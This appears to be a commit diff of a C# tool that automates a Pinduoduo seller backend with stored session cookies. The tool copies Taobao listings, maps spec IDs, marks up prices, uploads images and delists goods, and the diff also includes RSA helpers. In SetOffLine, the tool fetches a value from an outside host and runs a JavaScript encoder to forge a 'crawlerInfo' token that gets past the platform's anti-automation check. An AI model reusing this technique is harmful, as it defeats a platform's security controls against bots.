if (prod.Props.Count == 1 && string.IsNullOrEmpty(prod.Props[0].pinduoduo_name))
{
prod.Props[0].pinduoduo_name = first.Name;
prod.Props[0].pinduoduo_id = first.Id;
}
else if (prod.Props.Count == 2)
{
if (string.IsNullOrEmpty(prod.Props[0].pinduoduo_name) &&
string.IsNullOrEmpty(prod.Props[1].pinduoduo_name))
{
prod.Props[0].pinduoduo_name = first.Name;
prod.Props[0].pinduoduo_id = first.Id;
prod.Props[1].pinduoduo_name = second.Name;
prod.Props[1].pinduoduo_id = second.Id;
}
else if (string.IsNullOrEmpty(prod.Props[0].pinduoduo_name))
{
if (prod.Props[1].pinduoduo_name == first.Name)
{
prod.Props[0].pinduoduo_name = second.Name;
prod.Props[0].pinduoduo_id = second.Id;
}
else
{
prod.Props[0].pinduoduo_name = first.Name;
prod.Props[0].pinduoduo_id = first.Id;
}
}
else if (string.IsNullOrEmpty(prod.Props[1].pinduoduo_name))
{
if (prod.Props[0].pinduoduo_name == first.Name)
{
prod.Props[1].pinduoduo_name = second.Name;
prod.Props[1].pinduoduo_id = second.Id;
}
else
{
prod.Props[1].pinduoduo_name = first.Name;
prod.Props[1].pinduoduo_id = first.Id;
}
}
}
for (int i = 0; i < prod.Props.Count; i++)
{
string refere = "https://mms.pinduoduo.com/Pdd.html";
if (string.IsNullOrEmpty(prod.Props[i].pinduoduo_id) || prod.Props[i].pinduoduo_id == "0")
{
string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/by/name";
string data = "{\"parent_id\":0,\"name\":\"" + prod.Props[i].pinduoduo_name + "\"}";
string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
string id = BaseRegex.GetLongJson(ref html, "result").ToString();
if (id == "0")
{
Thread.Sleep(3000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
id = BaseRegex.GetLongJson(ref html, "spec_id").ToString();
}
if (id == "0")
{
LogSave.Add(Name, "获取类别ID异常:" + prod.Props[i].pinduoduo_name);
continue;
}
if (PinduoduoProp[mainCatId].ContainsKey(prod.Props[i].pinduoduo_name))
PinduoduoProp[mainCatId][prod.Props[i].pinduoduo_name].Id = id;
prod.Props[i].pinduoduo_id = id;
}
for (int j = 0; j < prod.Props[i].Values.Count; j++)
{
//if (prod.from_site_id == 1 && j >= 30 && prod.Props[i].Values.Count >= 30) // 属性元素超过30个的就丢弃
//{
// prod.Props[i].Values.RemoveAt(j);
// j--;
// continue;
//}
if (PinduoduoProp[mainCatId].ContainsKey(prod.Props[i].pinduoduo_name) &&
PinduoduoProp[mainCatId][prod.Props[i].pinduoduo_name].Values.ContainsKey(prod.Props[i].Values[j].name))
{
prod.Props[i].Values[j].id =
PinduoduoProp[mainCatId][prod.Props[i].pinduoduo_name].Values[prod.Props[i].Values[j].name].ToString();
continue;
}
PinduoduoApiPropId api = new PinduoduoApiPropId(Shop);
string html = api.GetPropId(prod.Props[i].pinduoduo_id, prod.Props[i].Values[j].name);
string propvid = BaseRegex.GetStringJson(ref html, "spec_id");
if (!string.IsNullOrEmpty(propvid))
{
prod.Props[i].Values[j].id = propvid;
try
{
PinduoduoProp[mainCatId][prod.Props[i].pinduoduo_name].Values.Add(prod.Props[i].Values[j].name, long.Parse(prod.Props[i].Values[j].id));
}
catch
{
}
continue;
}
string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/by/name";
string data = "{\"parent_id\":" + prod.Props[i].pinduoduo_id + ",\"name\":\"" + prod.Props[i].Values[j].name + "\"}";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
propvid = BaseRegex.GetStringJson(ref html, "result");
if (string.IsNullOrEmpty(propvid))
{
Thread.Sleep(3000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
propvid = BaseRegex.GetStringJson(ref html, "result");
}
if (string.IsNullOrEmpty(propvid))
{
prod.Props[i].Values.RemoveAt(j);
j--;
continue;
}
prod.Props[i].Values[j].id = propvid;
try
{
PinduoduoProp[mainCatId][prod.Props[i].pinduoduo_name].Values.Add(prod.Props[i].Values[j].name, long.Parse(prod.Props[i].Values[j].id));
}
catch
{
}
}
}
}
public static Dictionary<string, int> PriceTemp = new Dictionary<string, int>();
public static int GetNewPrice(decimal beforePrice, int addPercent, int addPrice, long pid, int addSinglePrice, decimal maxPrice)
{
//if (UserStepPrice)
//{
// int p = (int)(beforePrice * 100) + PriceAllAdd*100;
// if (beforePrice >= PriceBefor1 && beforePrice <= PriceEnd1)
// return p + PriceAdd1 * 100;
// if (beforePrice >= PriceBefor2 && beforePrice <= PriceEnd2)
// return p + PriceAdd2 * 100;
// if (beforePrice >= PriceBefor3 && beforePrice <= PriceEnd3)
// return p + PriceAdd3 * 100;
// if (beforePrice >= PriceBefor4 && beforePrice <= PriceEnd4)
// return p + PriceAdd4 * 100;
// if (beforePrice >= PriceBefor5 && beforePrice <= PriceEnd5)
// return p + PriceAdd5 * 100;
//}
if (beforePrice < 1)
beforePrice = maxPrice;
if (beforePrice < 1)
beforePrice = 10000;
int before = (int)(beforePrice * 100);
string key = pid + "," + before + "," + addPercent + "," + addPrice + "," + addSinglePrice;
int price;
if (PriceTemp.ContainsKey(key))
{
price = PriceTemp[key];
return price;
}
//if (addSinglePrice == 0)
// {
price = before * (100 + addPercent) / 100 + addPrice * 100 + (RandAddPrice ? new Random(Guid.NewGuid().GetHashCode()).Next(10, 90) : 0);
// }
// else
// price = (int)((beforePrice + addSinglePrice) * 100) + (RandAddPrice ? new Random(Guid.NewGuid().GetHashCode()).Next(10, 90) : 0);
try
{
PriceTemp.Add(key, price);
}
catch
{
}
return price;
}
public static string UploadImage(byte[] img)
{
return UploadImage(img, null);
}
/// <summary>
/// 上传图片
/// </summary>
/// <param name="img"></param>
/// <returns></returns>
public static string UploadImage(byte[] img, ShopChatBase Shop)
{
PinduoduoApiGetProduct p = new PinduoduoApiGetProduct(Shop);
string html = p.UploadImage(img);
string imgUrl = BaseRegex.GetStringJson(ref html, "image_url");
if (string.IsNullOrEmpty(imgUrl))
{
string Cookies = Shop.Cookies;
string url = "https://mms.pinduoduo.com/earth/api/upload/getSignature";
string refere = "https://mms.pinduoduo.com/goods/goods_add/index?id=5146155709&type=edit&from=category";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "{}", Cookies);
string sign = BaseRegex.GetStringJson(ref html, "signature");
if (string.IsNullOrEmpty(sign))
{
return "";
}
string data =
"{\"upload_sign\":\"" + sign + "\",\"image\":\"data:image/jpeg;base64," +
Convert.ToBase64String(img) + "\"}";
url = "https://file.yangkeduo.com/v2/store_image";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies);
imgUrl = BaseRegex.GetStringJson(ref html, "url");
LogSave.Add(Name, "上传图片:" + imgUrl);
return imgUrl;
}
return imgUrl;
}
public static Dictionary<string, int> TypeName = new Dictionary<string, int>();
public static Dictionary<string, int> TypeValues = new Dictionary<string, int>();
private static int firstKeyId = 0, firstValueId = 0;
public static string AddType(ref ProductCollectBase p, int mainCatId, string cookies, int mallId)
{
if (mainCatId == 5)
{
if (TypeName.Count == 0)
{
string url = "https://mms.pinduoduo.com/malls/" + mallId + "/transport/glide/query/clothes_fabric/list";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, "{}", cookies);
var m = BaseRegex.GetMatchRegex(ref html, @"""code"":([\d]+),""desc"":""(.*?)""");
for (int i = 0; m != null && i < m.Count; i++)
{
string name = m[i].Groups[2].Value;
int value = int.Parse(m[i].Groups[1].Value);
if (firstKeyId == 0)
firstKeyId = value;
if (!TypeName.ContainsKey(name))
TypeName.Add(name, value);
}
}
if (TypeValues.Count == 0)
{
string url = "https://mms.pinduoduo.com/malls/" + mallId + "/transport/glide/query/clothes_fabric_content/list";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, "{}", cookies);
var m = BaseRegex.GetMatchRegex(ref html, @"""code"":([\d]+),""desc"":""(.*?)""");
for (int i = 0; m != null && i < m.Count; i++)
{
string name = m[i].Groups[2].Value;
int value = int.Parse(m[i].Groups[1].Value);
if (firstValueId == 0)
firstValueId = value;
if (!TypeValues.ContainsKey(name))
TypeValues.Add(name, value);
}
}
}
if (mainCatId == 5)
{
string name = "材质成分";
string value = "";
for (int i = 0; i < p.Prop.Count; i++)
{
if (p.Prop[i].Key == name)
{
value = p.Prop[i].Value;
break;
}
}
int keyId = 0, valueId = 0;
if (!string.IsNullOrEmpty(value) && value.Contains("%"))
{
string v = BaseRegex.GetMatchRegexString(ref value, @"([\d]+)%");
string namex = value.Substring(0, value.IndexOf(v + "%"));
if (string.IsNullOrEmpty(v) || string.IsNullOrEmpty(namex))
{
goto NoValue;
}
int pe = int.Parse(v);
foreach (KeyValuePair<string, int> k in TypeName)
{
if (k.Key.Contains(namex) || namex.Contains(k.Key))
{
keyId = k.Value;
foreach (KeyValuePair<string, int> vv in TypeValues)
{
var mm = BaseRegex.GetMatchRegex(vv.Key, @"([\d]+)%");
if (mm.Count == 2)
{
int min = int.Parse(mm[0].Groups[1].Value);
int max = int.Parse(mm[1].Groups[1].Value);
if (pe >= min && pe <= max)
{
valueId = vv.Value;
goto NoValue;
}
}
}
break;
}
}
}
NoValue:
if (keyId == 0)
keyId = firstKeyId;
if (valueId == 0)
valueId = firstValueId;
string addContent = ",\"fabric\":" + keyId + ",\"fabric_content\":" + valueId;
return addContent;
}
return "";
}
/// <summary>
/// 下架产品
/// </summary>
/// <param name="id"></param>
/// <returns></returns>
public static bool SetOffLine(long id, ShopChatBase shop)
{
string cookies = shop == null ? "" : shop.Cookies;
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(shop);
api.Name = Name;
string html = api.SetOnline(id, false);
//string data = "{\"goods_id\":" + id + "}";
string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOffSale";
string refere = "https://mms.pinduoduo.com/Pdd.html";
//string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, cookies);
if (string.IsNullOrEmpty(html) || html.Contains("过于频繁"))
{
if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁"))
{
LogSave.Add(Name, "速度太快,休眠2-5分钟");
Thread.Sleep(100 * 1000);
}
else
{
LogSave.Add(Name, "不能下架");
return false;
}
html = api.SetOnline(id, false);
}
if (string.IsNullOrEmpty(html) || html.Contains("过于频繁"))
{
Thread.Sleep(100 * 1000);
html = api.SetOnline(id, false);
}
if (string.IsNullOrEmpty(html) || html.Contains("过于频繁"))
{
Thread.Sleep(100 * 1000);
LogSave.Add(Name, "下架产品失败:" + id);
return false;
}
if (html.Contains("使用MMS后台做此"))
{
if (string.IsNullOrEmpty(PinduoduoAuth.strContent))
{
PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path);
}
string NoCode = "";
string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000";
if (string.IsNullOrEmpty(NoCode))
{
string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt");
NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----");
}
string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, "");
string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent);
string data = "{\"goodsId\":" + id + ",\"crawlerInfo\":\"" + codex + "\"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, cookies);
}
LogSave.Add(Name, "下架产品成功:" + id);
return true;
}
}
public class PinduoduoPropBase
{
public string Name;
public string Id;
public Dictionary<string, long> Values = new Dictionary<string, long>();
}
}
+74
View File
@@ -0,0 +1,74 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using AllBase;
using Work.CollectClass;
using Work.Api;
using Work.ManageClass;
namespace Work.ManageClass
{
public class UpPinduoduoProductSet
{
public static Dictionary<long, ProductCollectBase> TaobaoProductTemp = new Dictionary<long, ProductCollectBase>();
public static Dictionary<long, KeyValuesBase> CatTemp = new Dictionary<long, KeyValuesBase>();
public static Dictionary<string, ImageUrlBase> ImageTemp = new Dictionary<string, ImageUrlBase>();
public string Name, Cookies = "", Message = "";
public static string strContent = "";
public static bool RandomProps = false, TitleExploder = false, Shield = false, SaveAllImage = false, Relation = false;
public bool FullToday = false, Punish = false, Success = false;
public int MainCatId = 0;
public TaobaoProductBase p;
public TaobaoProductBase t;
public TaobaoProductBase mt = null;
public ShopChatBase Shop = null;
public string brandName;
public UpPinduoduoProductSet(string name, TaobaoProductBase P, TaobaoProductBase T)
{
Name = name;
p = P;
t = T;
}
/// <summary>
/// 添加商品图片到到缓存
/// </summary>
/// <param name="key"></param>
/// <param name="value"></param>
public static void AddImage(string key, string url, int width, int height)
{
if (string.IsNullOrEmpty(url))
return;
if (ImageTemp.ContainsKey(key) && url.Contains("http:"))
ImageTemp[key] = new ImageUrlBase(url, width, height);
if (ImageTemp.ContainsKey(key) || string.IsNullOrEmpty(key) || string.IsNullOrEmpty(url))
return;
try
{
ImageTemp.Add(key, new ImageUrlBase(url, width, height));
}
catch
{
}
}
public Dictionary<string, int> PriceTemp = new Dictionary<string, int>();
}
public class ImageUrlBase
{
public ImageUrlBase(string url, int w, int h)
{
Url = url;
Width = w;
Height = h;
}
public string Url;
public int Width;
public int Height;
}
}
+28
View File
@@ -0,0 +1,28 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AllBase;
using Work.Api;
using Work.CollectClass;
namespace Work.ManageClass
{
public class UploadProductAllShop
{
public static List<TaobaoProductBase> Products = new List<TaobaoProductBase>();
public static List<TaobaoProductBase> ProductTemp = new List<TaobaoProductBase>();
public static int ThreadCount = 0, AddMinutes = 10, UserMainImage = 0;
public static bool Running = false, AutoUpload = false, OnlyFree = false, UpToDown = false, FissionSameShop = false, ReplaceModel = false, ReplaceVisitMax = false;
public static DateTime CreateTime = DateTime.Today.AddDays(-1), UpDate = DateTime.Today.AddDays(-1);
public static Dictionary<string, List<long>> JustUpload = new Dictionary<string, List<long>>();
public string Name;
public UploadProductAllShop(string name)
{
Name = name;
}
}
}
File diff suppressed because it is too large. Load diff
+36
View File
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("Work")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Work")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
//将 ComVisible 设置为 false 将使此程序集中的类型
//对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("38e74d4c-2d8d-47d2-8a23-417c3c57ade5")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
// 方法是按如下所示使用“*”: :
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
+188
View File
@@ -0,0 +1,188 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
namespace Work
{
/// <summary>
/// RSA操作类
/// </summary>
public class RSA {
/// <summary>
/// 导出XML格式密钥对,如果convertToPublic含私钥的RSA将只返回公钥,仅含公钥的RSA不受影响
/// </summary>
public string ToXML(bool convertToPublic = false) {
return rsa.ToXmlString(!rsa.PublicOnly && !convertToPublic);
}
/// <summary>
/// 导出PEM PKCS#1格式密钥对,如果convertToPublic含私钥的RSA将只返回公钥,仅含公钥的RSA不受影响
/// </summary>
public string ToPEM_PKCS1(bool convertToPublic = false) {
return RSA_PEM.ToPEM(rsa, convertToPublic, false);
}
/// <summary>
/// 导出PEM PKCS#8格式密钥对,如果convertToPublic含私钥的RSA将只返回公钥,仅含公钥的RSA不受影响
/// </summary>
public string ToPEM_PKCS8(bool convertToPublic = false) {
return RSA_PEM.ToPEM(rsa, convertToPublic, true);
}
/// <summary>
/// 加密字符串(utf-8),出错抛异常
/// </summary>
public string Encode(string str) {
return RSA_Unit.Base64EncodeBytes(Encode(Encoding.UTF8.GetBytes(str)));
}
/// <summary>
/// 加密数据,出错抛异常
/// </summary>
public byte[] Encode(byte[] data) {
int blockLen = rsa.KeySize / 8 - 11;
if (data.Length <= blockLen) {
return rsa.Encrypt(data, false);
}
using (var dataStream = new MemoryStream(data))
using (var enStream = new MemoryStream()) {
Byte[] buffer = new Byte[blockLen];
int len = dataStream.Read(buffer, 0, blockLen);
while (len > 0) {
Byte[] block = new Byte[len];
Array.Copy(buffer, 0, block, 0, len);
Byte[] enBlock = rsa.Encrypt(block, false);
enStream.Write(enBlock, 0, enBlock.Length);
len = dataStream.Read(buffer, 0, blockLen);
}
return enStream.ToArray();
}
}
/// <summary>
/// 解密字符串(utf-8),解密异常返回null
/// </summary>
public string DecodeOrNull(string str) {
if (String.IsNullOrEmpty(str)) {
return null;
}
var byts = RSA_Unit.Base64DecodeBytes(str);
if (byts == null) {
return null;
}
var val = DecodeOrNull(byts);
if (val == null) {
return null;
}
return Encoding.UTF8.GetString(val);
}
/// <summary>
/// 解密数据,解密异常返回null
/// </summary>
public byte[] DecodeOrNull(byte[] data) {
try {
int blockLen = rsa.KeySize / 8;
if (data.Length <= blockLen) {
return rsa.Decrypt(data, false);
}
using (var dataStream = new MemoryStream(data))
using (var deStream = new MemoryStream()) {
Byte[] buffer = new Byte[blockLen];
int len = dataStream.Read(buffer, 0, blockLen);
while (len > 0) {
Byte[] block = new Byte[len];
Array.Copy(buffer, 0, block, 0, len);
Byte[] deBlock = rsa.Decrypt(block, false);
deStream.Write(deBlock, 0, deBlock.Length);
len = dataStream.Read(buffer, 0, blockLen);
}
return deStream.ToArray();
}
} catch {
return null;
}
}
/// <summary>
/// 对str进行签名,并指定hash算法(如:SHA256)
/// </summary>
public string Sign(string hash, string str) {
return RSA_Unit.Base64EncodeBytes(Sign(hash, Encoding.UTF8.GetBytes(str)));
}
/// <summary>
/// 对data进行签名,并指定hash算法(如:SHA256)
/// </summary>
public byte[] Sign(string hash, byte[] data) {
return rsa.SignData(data, hash);
}
/// <summary>
/// 验证字符串str的签名是否是sgin,并指定hash算法(如:SHA256)
/// </summary>
public bool Verify(string hash, string sgin, string str) {
var byts = RSA_Unit.Base64DecodeBytes(sgin);
if (byts == null) {
return false;
}
return Verify(hash, byts, Encoding.UTF8.GetBytes(str));
}
/// <summary>
/// 验证data的签名是否是sgin,并指定hash算法(如:SHA256)
/// </summary>
public bool Verify(string hash, byte[] sgin, byte[] data) {
try {
return rsa.VerifyData(data, hash, sgin);
} catch {
return false;
}
}
private RSACryptoServiceProvider rsa;
private void _init() {
var rsaParams = new CspParameters();
rsaParams.Flags = CspProviderFlags.UseMachineKeyStore;
rsa = new RSACryptoServiceProvider(rsaParams);
}
/// <summary>
/// 用指定密钥大小创建一个新的RSA,出错抛异常
/// </summary>
public RSA(int keySize) {
_init();
var rsaParams = new CspParameters();
rsaParams.Flags = CspProviderFlags.UseMachineKeyStore;
rsa = new RSACryptoServiceProvider(keySize, rsaParams);
}
/// <summary>
/// 通过指定的密钥,创建一个RSA,xml内可以只包含一个公钥或私钥,或都包含,出错抛异常
/// </summary>
public RSA(string xml) {
_init();
rsa.FromXmlString(xml);
}
/// <summary>
/// 通过一个pem文件创建RSA,pem为公钥或私钥,出错抛异常
/// </summary>
public RSA(string pem, bool noop) {
_init();
rsa = RSA_PEM.FromPEM(pem);
}
}
}
+292
View File
@@ -0,0 +1,292 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
namespace Work
{
/// <summary>
/// RSA PEM格式秘钥对的解析和导出
/// </summary>
public class RSA_PEM {
/// <summary>
/// 用PEM格式密钥对创建RSA,支持PKCS#1、PKCS#8格式的PEM
/// </summary>
public static RSACryptoServiceProvider FromPEM(string pem) {
var rsaParams = new CspParameters();
rsaParams.Flags = CspProviderFlags.UseMachineKeyStore;
var rsa = new RSACryptoServiceProvider(rsaParams);
var param = new RSAParameters();
var base64 = _PEMCode.Replace(pem, "");
var data = RSA_Unit.Base64DecodeBytes(base64);
if (data == null) {
throw new Exception("PEM内容无效");
}
var idx = 0;
//读取长度
Func<byte, int> readLen = (first) => {
if (data[idx] == first) {
idx++;
if (data[idx] == 0x81) {
idx++;
return data[idx++];
} else if (data[idx] == 0x82) {
idx++;
return (((int)data[idx++]) << 8) + data[idx++];
} else if (data[idx] < 0x80) {
return data[idx++];
}
}
throw new Exception("PEM未能提取到数据");
};
//读取块数据
Func<byte[]> readBlock = () => {
var len = readLen(0x02);
if (data[idx] == 0x00) {
idx++;
len--;
}
var val = data.sub(idx, len);
idx += len;
return val;
};
//比较data从idx位置开始是否是byts内容
Func<byte[], bool> eq = (byts) => {
for (var i = 0; i < byts.Length; i++, idx++) {
if (idx >= data.Length) {
return false;
}
if (byts[i] != data[idx]) {
return false;
}
}
return true;
};
if (pem.Contains("PUBLIC KEY")) {
/****使用公钥****/
//读取数据总长度
readLen(0x30);
if (!eq(_SeqOID)) {
throw new Exception("PEM未知格式");
}
//读取1长度
readLen(0x03);
idx++;//跳过0x00
//读取2长度
readLen(0x30);
//Modulus
param.Modulus = readBlock();
//Exponent
param.Exponent = readBlock();
} else if (pem.Contains("PRIVATE KEY")) {
/****使用私钥****/
//读取数据总长度
readLen(0x30);
//读取版本号
if (!eq(_Ver)) {
throw new Exception("PEM未知版本");
}
//检测PKCS8
var idx2 = idx;
if (eq(_SeqOID)) {
//读取1长度
readLen(0x04);
//读取2长度
readLen(0x30);
//读取版本号
if (!eq(_Ver)) {
throw new Exception("PEM版本无效");
}
} else {
idx = idx2;
}
//读取数据
param.Modulus = readBlock();
param.Exponent = readBlock();
param.D = readBlock();
param.P = readBlock();
param.Q = readBlock();
param.DP = readBlock();
param.DQ = readBlock();
param.InverseQ = readBlock();
} else {
throw new Exception("pem需要BEGIN END标头");
}
rsa.ImportParameters(param);
return rsa;
}
static private Regex _PEMCode = new Regex(@"--+.+?--+|\s+");
static private byte[] _SeqOID = new byte[] { 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00 };
static private byte[] _Ver = new byte[] { 0x02, 0x01, 0x00 };
/// <summary>
/// 将RSA中的密钥对转换成PEM格式,usePKCS8=false时返回PKCS#1格式,否则返回PKCS#8格式,如果convertToPublic含私钥的RSA将只返回公钥,仅含公钥的RSA不受影响
/// </summary>
public static string ToPEM(RSACryptoServiceProvider rsa, bool convertToPublic, bool usePKCS8) {
//https://www.jianshu.com/p/25803dd9527d
//https://www.cnblogs.com/ylz8401/p/8443819.html
//https://blog.csdn.net/jiayanhui2877/article/details/47187077
//https://blog.csdn.net/xuanshao_/article/details/51679824
//https://blog.csdn.net/xuanshao_/article/details/51672547
var ms = new MemoryStream();
//写入一个长度字节码
Action<int> writeLenByte = (len) => {
if (len < 0x80) {
ms.WriteByte((byte)len);
} else if (len <= 0xff) {
ms.WriteByte(0x81);
ms.WriteByte((byte)len);
} else {
ms.WriteByte(0x82);
ms.WriteByte((byte)(len >> 8 & 0xff));
ms.WriteByte((byte)(len & 0xff));
}
};
//写入一块数据
Action<byte[]> writeBlock = (byts) => {
var addZero = (byts[0] >> 4) >= 0x8;
ms.WriteByte(0x02);
var len = byts.Length + (addZero ? 1 : 0);
writeLenByte(len);
if (addZero) {
ms.WriteByte(0x00);
}
ms.Write(byts, 0, byts.Length);
};
//根据后续内容长度写入长度数据
Func<int, byte[], byte[]> writeLen = (index, byts) => {
var len = byts.Length - index;
ms.SetLength(0);
ms.Write(byts, 0, index);
writeLenByte(len);
ms.Write(byts, index, len);
return ms.ToArray();
};
if (rsa.PublicOnly || convertToPublic) {
/****生成公钥****/
var param = rsa.ExportParameters(false);
//写入总字节数,不含本段长度,额外需要24字节的头,后续计算好填入
ms.WriteByte(0x30);
var index1 = (int)ms.Length;
//固定内容
// encoded OID sequence for PKCS #1 rsaEncryption szOID_RSA_RSA = "1.2.840.113549.1.1.1"
ms.writeAll(_SeqOID);
//从0x00开始的后续长度
ms.WriteByte(0x03);
var index2 = (int)ms.Length;
ms.WriteByte(0x00);
//后续内容长度
ms.WriteByte(0x30);
var index3 = (int)ms.Length;
//写入Modulus
writeBlock(param.Modulus);
//写入Exponent
writeBlock(param.Exponent);
//计算空缺的长度
var byts = ms.ToArray();
byts = writeLen(index3, byts);
byts = writeLen(index2, byts);
byts = writeLen(index1, byts);
return "-----BEGIN PUBLIC KEY-----\n" + RSA_Unit.TextBreak(RSA_Unit.Base64EncodeBytes(byts), 64) + "\n-----END PUBLIC KEY-----";
} else {
/****生成私钥****/
var param = rsa.ExportParameters(true);
//写入总字节数,后续写入
ms.WriteByte(0x30);
int index1 = (int)ms.Length;
//写入版本号
ms.writeAll(_Ver);
//PKCS8 多一段数据
int index2 = -1, index3 = -1;
if (usePKCS8) {
//固定内容
ms.writeAll(_SeqOID);
//后续内容长度
ms.WriteByte(0x04);
index2 = (int)ms.Length;
//后续内容长度
ms.WriteByte(0x30);
index3 = (int)ms.Length;
//写入版本号
ms.writeAll(_Ver);
}
//写入数据
writeBlock(param.Modulus);
writeBlock(param.Exponent);
writeBlock(param.D);
writeBlock(param.P);
writeBlock(param.Q);
writeBlock(param.DP);
writeBlock(param.DQ);
writeBlock(param.InverseQ);
//计算空缺的长度
var byts = ms.ToArray();
if (index2 != -1) {
byts = writeLen(index3, byts);
byts = writeLen(index2, byts);
}
byts = writeLen(index1, byts);
var flag = " PRIVATE KEY";
if (!usePKCS8) {
flag = " RSA" + flag;
}
return "-----BEGIN" + flag + "-----\n" + RSA_Unit.TextBreak(RSA_Unit.Base64EncodeBytes(byts), 64) + "\n-----END" + flag + "-----";
}
}
}
}
+61
View File
@@ -0,0 +1,61 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work
{
/// <summary>
/// 封装的一些通用方法
/// </summary>
public class RSA_Unit {
static public string Base64EncodeBytes(byte[] byts) {
return Convert.ToBase64String(byts);
}
static public byte[] Base64DecodeBytes(string str) {
try {
return Convert.FromBase64String(str);
} catch {
return null;
}
}
/// <summary>
/// 把字符串按每行多少个字断行
/// </summary>
static public string TextBreak(string text, int line) {
var idx = 0;
var len = text.Length;
var str = new StringBuilder();
while (idx < len) {
if (idx > 0) {
str.Append('\n');
}
if (idx + line >= len) {
str.Append(text.Substring(idx));
} else {
str.Append(text.Substring(idx, line));
}
idx += line;
}
return str.ToString();
}
}
static public class Extensions {
/// <summary>
/// 从数组start开始到指定长度复制一份
/// </summary>
static public T[] sub<T>(this T[] arr, int start, int count) {
T[] val = new T[count];
for (var i = 0; i < count; i++) {
val[i] = arr[start + i];
}
return val;
}
static public void writeAll(this Stream stream, byte[] byts) {
stream.Write(byts, 0, byts.Length);
}
}
}
+141
View File
@@ -0,0 +1,141 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using AllBase;
namespace Work
{
public class UpShopIdFromServer
{
/// <summary>
/// 上家id队列:id , site_id +'000' + productid
/// </summary>
public static Dictionary<long, UpShopIdBase> UpIds = new Dictionary<long, UpShopIdBase>();
public static void Get(string shopId, string shopName)
{
string url = BaseClass.LoginApiUrl + "index.php?obj=upshopid/get&act=get_shop";
StringBuilder sb = new StringBuilder();
sb.Append(UserLogin.GetSignaturex(shopId, shopName));
//sb.Append("&act=get_shop");
sb.Append("&shop_id=" + shopId);
string html = GetHtml.PostUtf8(url, sb);
if (string.IsNullOrEmpty(html) )
return;
var m = BaseRegex.GetMatchRegex(ref html, "<upid_shop([^>]+?)>");
for (int i = 0; m!=null && i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
string sid_pid = BaseRegex.GetStringJson(ref list, "sid_pid");
if(!sid_pid.Contains("000"))
continue;
UpShopIdBase us = new UpShopIdBase();
us.SiteId = int.Parse(sid_pid.Substring(0, sid_pid.IndexOf("000")));
us.ProductId = long.Parse(sid_pid.Substring(sid_pid.IndexOf("000") + 3));
us.SiteIdFrom = BaseRegex.GetIntJson(ref list, "site_id_from");
us.ProductIdFrom = BaseRegex.GetLongJson(ref list, "product_id_from");
AddTemp(us);
}
}
public static void AddTemp(UpShopIdBase us)
{
if (UpIds.ContainsKey(us.ProductId))
return;
try
{
UpIds.Add(us.ProductId, us);
}
catch
{
}
}
public static void AddToServer(UpShopIdBase us, string shopId, string shopName)
{
string url = BaseClass.LoginApiUrl+ "index.php?obj=upshopid/add&act=add";
StringBuilder sb = new StringBuilder();
sb.Append(UserLogin.GetSignaturex(shopId, shopName));
//sb.Append("&act=add");
sb.Append("&site_id=" + us.SiteId);
sb.Append("&product_id=" + us.ProductId);
sb.Append("&site_id_from=" + us.SiteIdFrom);
sb.Append("&product_id_from=" + us.ProductIdFrom);
string html = GetHtml.PostUtf8(url, sb);
}
public static UpShopIdBase Get(long productId, string shopId, string shopName)
{
string url = BaseClass.LoginApiUrl + "index.php?obj=upshopid/get&act=get_id";
